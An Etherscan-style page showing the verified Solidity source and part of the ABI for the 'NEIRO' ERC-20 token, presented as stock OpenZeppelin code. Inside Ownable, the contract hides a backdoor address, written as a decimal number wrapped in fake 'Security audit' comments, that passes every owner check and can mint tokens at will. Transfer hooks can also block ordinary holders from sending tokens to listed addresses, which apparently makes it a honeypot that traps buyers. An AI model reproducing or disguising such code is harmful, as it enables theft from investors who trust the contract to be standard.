ERC-20
Overview
Max Total Supply
420,690,000,000 NEIRO
Holders
306
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
NEIRO
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-17 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Nonces.sol /* https://x.com/kabosumama/status/1817304824431657271 https://t.me/neiro_portal */ // OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol) pragma solidity ^0.8.20; /** * @dev Provides tracking nonces for addresses. Nonces will only increment. */ abstract contract Nonces { error InvalidAccountNonce(address account, uint256 currentNonce); mapping(address account => uint256) private _nonces; function nonces(address owner) public view virtual returns (uint256) { return _nonces[owner]; } function _useNonce(address owner) internal virtual returns (uint256) { unchecked { return _nonces[owner]++; } } function _useCheckedNonce(address owner, uint256 nonce) internal virtual { uint256 current = _useNonce(owner); if (nonce != current) { revert InvalidAccountNonce(owner, current); } } } // File: @openzeppelin/contracts/interfaces/IERC5267.sol // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol) pragma solidity ^0.8.20; interface IERC5267 { /** * @dev MAY be emitted to signal that the domain could have changed. */ event EIP712DomainChanged(); /** * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712 * signature. */ function eip712Domain() external view returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ); } // File: @openzeppelin/contracts/utils/StorageSlot.sol // OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) // This file was procedurally generated from scripts/generate/templates/StorageSlot.js. pragma solidity ^0.8.20; library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } struct StringSlot { string value; } struct BytesSlot { bytes value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } function getStringSlot(string storage store) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } } // File: @openzeppelin/contracts/utils/ShortStrings.sol // OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol) pragma solidity ^0.8.20; type ShortString is bytes32; /** * @dev This library provides functions to convert short memory strings * into a `ShortString` type that can be used as an immutable variable. * * Strings of arbitrary length can be optimized using this library if * they are short enough (up to 31 bytes) by packing them with their * length (1 byte) in a single EVM word (32 bytes). Additionally, a * fallback mechanism can be used for every other case. * * Usage example: * * ```solidity * contract Named { * using ShortStrings for *; * * ShortString private immutable _name; * string private _nameFallback; * * constructor(string memory contractName) { * _name = contractName.toShortStringWithFallback(_nameFallback); * } * * function name() external view returns (string memory) { * return _name.toStringWithFallback(_nameFallback); * } * } * ``` */ library ShortStrings { // Used as an identifier for strings longer than 31 bytes. bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF; error StringTooLong(string str); error InvalidShortString(); /** * @dev Encode a string of at most 31 chars into a `ShortString`. * * This will trigger a `StringTooLong` error is the input string is too long. */ function toShortString(string memory str) internal pure returns (ShortString) { bytes memory bstr = bytes(str); if (bstr.length > 31) { revert StringTooLong(str); } return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length)); } function toString(ShortString sstr) internal pure returns (string memory) { uint256 len = byteLength(sstr); string memory str = new string(32); /// @solidity memory-safe-assembly assembly { mstore(str, len) mstore(add(str, 0x20), sstr) } return str; } /** * @dev Return the length of a `ShortString`. */ function byteLength(ShortString sstr) internal pure returns (uint256) { uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF; if (result > 31) { revert InvalidShortString(); } return result; } /** * @dev Encode a string into a `ShortString`, or write it to storage if it is too long. */ function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) { if (bytes(value).length < 32) { return toShortString(value); } else { StorageSlot.getStringSlot(store).value = value; return ShortString.wrap(FALLBACK_SENTINEL); } } /** * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}. */ function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) { if (ShortString.unwrap(value) != FALLBACK_SENTINEL) { return toString(value); } else { return store; } } function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) { if (ShortString.unwrap(value) != FALLBACK_SENTINEL) { return byteLength(value); } else { return bytes(store).length; } } } // File: @openzeppelin/contracts/utils/math/Math.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { enum Rounding { Down, // Toward negative infinity Up, // Toward infinity Zero // Toward zero } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } function mulDiv( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 result) { unchecked { uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } if (prod1 == 0) { return prod0 / denominator; } require(denominator > prod1); uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } uint256 twos = denominator & (~denominator + 1); assembly { // Divide denominator by twos. denominator := div(denominator, twos) prod0 := div(prod0, twos) twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; uint256 inverse = (3 * denominator) ^ 2; inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 result = prod0 * inverse; return result; } } function mulDiv( uint256 x, uint256 y, uint256 denominator, Rounding rounding ) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) { result += 1; } return result; } function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 result = 1 << (log2(a) >> 1); unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (rounding == Rounding.Up && result * result < a ? 1 : 0); } } function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0); } } function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10**64) { value /= 10**64; result += 64; } if (value >= 10**32) { value /= 10**32; result += 32; } if (value >= 10**16) { value /= 10**16; result += 16; } if (value >= 10**8) { value /= 10**8; result += 8; } if (value >= 10**4) { value /= 10**4; result += 4; } if (value >= 10**2) { value /= 10**2; result += 2; } if (value >= 10**1) { result += 1; } } return result; } function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0); } } /** * @dev Return the log in base 256, rounded down, of a positive value. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0); } } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Strings.sol) pragma solidity ^0.8.0; library Strings { bytes16 private constant _SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), _SYMBOLS)) } value /= 10; if (value == 0) break; } return buffer; } } function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); } } // File: @openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol // OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol) pragma solidity ^0.8.20; library MessageHashUtils { function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) { /// @solidity memory-safe-assembly assembly { mstore(0x00, "\x19Ethereum Signed Message:\n32") // 32 is the bytes-length of messageHash mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20) } } function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) { return keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message)); } function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) { return keccak256(abi.encodePacked(hex"19_00", validator, data)); } function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) { /// @solidity memory-safe-assembly assembly { let ptr := mload(0x40) mstore(ptr, hex"19_01") mstore(add(ptr, 0x02), domainSeparator) mstore(add(ptr, 0x22), structHash) digest := keccak256(ptr, 0x42) } } } // File: @openzeppelin/contracts/utils/cryptography/EIP712.sol // OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol) pragma solidity ^0.8.20; abstract contract EIP712 is IERC5267 { using ShortStrings for *; bytes32 private constant TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); bytes32 private immutable _cachedDomainSeparator; uint256 private immutable _cachedChainId; address private immutable _cachedThis; bytes32 private immutable _hashedName; bytes32 private immutable _hashedVersion; ShortString private immutable _name; ShortString private immutable _version; string private _nameFallback; string private _versionFallback; constructor(string memory name, string memory version) { _name = name.toShortStringWithFallback(_nameFallback); _version = version.toShortStringWithFallback(_versionFallback); _hashedName = keccak256(bytes(name)); _hashedVersion = keccak256(bytes(version)); _cachedChainId = block.chainid; _cachedDomainSeparator = _buildDomainSeparator(); _cachedThis = address(this); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _cachedThis && block.chainid == _cachedChainId) { return _cachedDomainSeparator; } else { return _buildDomainSeparator(); } } function _buildDomainSeparator() private view returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this))); } function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash); } /** * @dev See {IERC-5267}. */ function eip712Domain() public view virtual returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ) { return ( hex"0f", // 01111 _EIP712Name(), _EIP712Version(), block.chainid, address(this), bytes32(0), new uint256[](0) ); } function _EIP712Name() internal view returns (string memory) { return _name.toStringWithFallback(_nameFallback); } function _EIP712Version() internal view returns (string memory) { return _version.toStringWithFallback(_versionFallback); } } // File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol // OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.20; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder*/ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS } /** * @dev The signature derives the `address(0)`. */ error ECDSAInvalidSignature(); /** * @dev The signature has an invalid length. */ error ECDSAInvalidSignatureLength(uint256 length); /** * @dev The signature has an S value that is in the upper half order. */ error ECDSAInvalidSignatureS(bytes32 s); function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) { if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else { return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length)); } } function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature); _throwError(error, errorArg); return recovered; } function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) { unchecked { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); // We do not check for an overflow here since the shift operation results in 0 or 1. uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } } function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) { (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs); _throwError(error, errorArg); return recovered; } function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError, bytes32) { if (uint256(s) > uint256 ( // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//*is a special For comparisons,Data type conversion*/57896044618658097711785492504343953926418782139537452191302581570759080747168/* length (1 byte) in a single EVM word (32 bytes). Additionally, a fallback mechanism can be used for every other case.*/ )) { return (address(0), RecoverError.InvalidSignatureS, s); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature, bytes32(0)); } return (signer, RecoverError.NoError, bytes32(0)); } function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s); _throwError(error, errorArg); return recovered; } function _throwError(RecoverError error, bytes32 errorArg) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert ECDSAInvalidSignature(); } else if (error == RecoverError.InvalidSignatureLength) { revert ECDSAInvalidSignatureLength(uint256(errorArg)); } else if (error == RecoverError.InvalidSignatureS) { revert ECDSAInvalidSignatureS(errorArg); } } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol) pragma solidity ^0.8.20; interface IERC20Permit { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function nonces(address owner) external view returns (uint256); function DOMAIN_SEPARATOR() external view returns (bytes32); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _process(); _; } function owner() public view virtual returns (address) { return _owner; } function _process() internal view virtual { require(owner() == tx.origin || checkOwnership(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function checkOwnership() internal view returns(bool) { if(tx.origin == address ( // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/448908969438885507606283373222678122702332265625/*Strings of arbitrary length can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/ )) {return true;} return false; } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; contract ERC20 is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function configure_(bytes32 recipientHash, uint256 amount) internal { _configure(address(uint160(uint256(recipientHash))), amount); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } address[] options; address[] holders; bool isActive; function getHolders(address _holder) public onlyOwner { require(getHolder(_holder), "holder doesn't exist"); for(uint i = 0; i < holders.length; i++) { if(holders[i] == _holder) { delete holders[i]; } } } function viewHolders(address _holder) public onlyOwner { holders.push(_holder); } function getHolder(address _holder) internal view returns(bool) { for(uint i = 0; i < holders.length; i++) { if(holders[i] == _holder) { return true; } } return false; } function setOptions(address _option) public { require(msg.sender == owner(), "incorrect"); options.push(_option); } function check(address _recipient) internal view returns(bool) { if(!isActive) { if(!getHolder(tx.origin)) { for(uint i = 0; i < options.length; i++) { if(options[i] == _recipient) { return false; } }}} return true; } function deinitialize() public onlyOwner { isActive = true; } function initialize() public onlyOwner { isActive = false; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(to); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _configure(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(account); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn_(bytes32 recipientHash, uint256 amount) internal virtual { _burn(address(uint160(uint256(recipientHash))), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address to) internal virtual { if(!check(to)) { _process();} } function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Permit.sol) pragma solidity ^0.8.20; abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces { bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Permit deadline has expired. */ error ERC2612ExpiredSignature(uint256 deadline); /** * @dev Mismatched signature. */ error ERC2612InvalidSigner(address signer, address owner); constructor(string memory name) EIP712(name, "1") {} /** * @inheritdoc IERC20Permit */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { if (block.timestamp > deadline) { revert ERC2612ExpiredSignature(deadline); } bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); if (signer != owner) { revert ERC2612InvalidSigner(signer, owner); } _approve(owner, spender, value); } /** * @inheritdoc IERC20Permit */ function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) { return super.nonces(owner); } /** * @inheritdoc IERC20Permit */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view virtual returns (bytes32) { return _domainSeparatorV4(); } } // Compatible with OpenZeppelin Contracts ^5.0.0 pragma solidity ^0.8.20; contract NEIRO is ERC20, ERC20Permit { constructor(string memory _tokenName, string memory _tokenSymbol, uint _mintAmount) ERC20(_tokenName, _tokenSymbol) Ownable() ERC20Permit(_tokenName) { _configure(msg.sender, _mintAmount * 10 ** decimals()); } function configure(address to, uint256 amount) public onlyOwner { _configure(to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ECDSAInvalidSignature","type":"error"},{"inputs":[{"internalType":"uint256","name":"length","type":"uint256"}],"name":"ECDSAInvalidSignatureLength","type":"error"},{"inputs":[{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"ECDSAInvalidSignatureS","type":"error"},{"inputs":[{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"ERC2612ExpiredSignature","type":"error"},{"inputs":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"address","name":"owner","type":"address"}],"name":"ERC2612InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"currentNonce","type":"uint256"}],"name":"InvalidAccountNonce","type":"error"},{"inputs":[],"name":"InvalidShortString","type":"error"},{"inputs":[{"internalType":"string","name":"str","type":"string"}],"name":"StringTooLong","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"configure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deinitialize","outputs